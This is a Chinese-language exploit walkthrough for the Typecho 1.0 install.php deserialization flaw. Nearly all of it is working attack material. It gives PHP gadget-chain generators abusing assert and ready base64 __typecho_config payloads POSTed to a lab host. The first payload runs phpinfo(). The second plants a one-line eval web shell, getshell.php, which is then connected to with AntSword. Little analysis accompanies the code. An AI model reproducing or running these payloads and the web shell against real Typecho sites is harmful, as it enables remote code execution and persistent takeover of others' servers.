typecho反序列化

环境的搭建

漏洞复现前提

<?php
class Typecho_Feed
{const RSS1 = 'RSS 1.0';const RSS2 = 'RSS 2.0';const ATOM1 = 'ATOM 1.0';const DATE_RFC822 = 'r';const DATE_W3CDTF = 'c';const EOL = "\n";private $_type;private $_items;public function __construct() {$this->_type = $this::RSS2;#$this->_type = $this::ATOM1;$this->_items[0] = array('category' => array(new Typecho_Request()),'author' => new Typecho_Request(),);}
}
class Typecho_Request
{private $_params = array();private $_filter = array();public function __construct() {$this->_params['screenName'] = 'phpinfo()'; //此处修改需要执行的代码$this->_filter[0] = 'assert';}
}$exp = array('adapter' => new Typecho_Feed(),'prefix'  => 'typecho_'
);echo base64_encode(serialize($exp));
?>

运行代码会生成相应的base64的payload，以上代码会生成

YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YToyOntzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30= 

1.执行phpinfo

设置url为:
http://192.168.149.211/typecho_1.0-14.10.10/install.php?finish=

post data: __typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YToyOntzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=   

2. getshell

<?php
class Typecho_Request
{private $_params = array();private $_filter = array();public function __construct(){$this->_params['screenName'] = 'file_put_contents(\'getshell.php\',\'<?php @eval($_POST[123]);?>\')';$this->_filter[0] = 'assert';}
}class Typecho_Feed
{private $_type;private $_items = array();public $dateFormat;public function __construct(){$this->_type = 'ATOM 1.0';$item['author'] = new Typecho_Request();$this->_items[0] = $item;}
}$x = new Typecho_Feed();
$a = array('adapter' => $x,'prefix' => 'typecho_'
);
echo "<pre>";
print_r($a);
echo "</pre>";
echo serialize($a)."<br>";
echo "__typecho_config=".base64_encode(serialize($a));
?>

file_put_contents(\'gethell.php\',\'<?php @eval($_POST[123]);?>\')
使用file_put_contents函数，将一句话木马写入文件，上传到当前目录下

YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mzp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo4OiJBVE9NIDEuMCI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6MTp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6NjM6ImZpbGVfcHV0X2NvbnRlbnRzKCdnZXRzaGVsbC5waHAnLCc8P3BocCBAZXZhbCgkX1BPU1RbMTIzXSk7Pz4nKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX1zOjEwOiJkYXRlRm9ybWF0IjtOO31zOjY6InByZWZpeCI7czo4OiJ0eXBlY2hvXyI7fQ==

执行：
设置url为:
http://192.168.149.211/typecho_1.0-14.10.10/install.php?finish=

__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mzp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo4OiJBVE9NIDEuMCI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6MTp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6NjM6ImZpbGVfcHV0X2NvbnRlbnRzKCdnZXRzaGVsbC5waHAnLCc8P3BocCBAZXZhbCgkX1BPU1RbMTIzXSk7Pz4nKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX1zOjEwOiJkYXRlRm9ybWF0IjtOO31zOjY6InByZWZpeCI7czo4OiJ0eXBlY2hvXyI7fQ==

访问getshell.php页面,shell上传成功

蚁剑连接
http://192.168.149.211/typecho_1.0-14.10.10/getshell.php

具体的漏洞分析，可以鉴赏这篇[Typecho前台Getshell漏洞分析]（https://cloud.tencent.com/developer/article/1740471?from_column=20421&from=20421）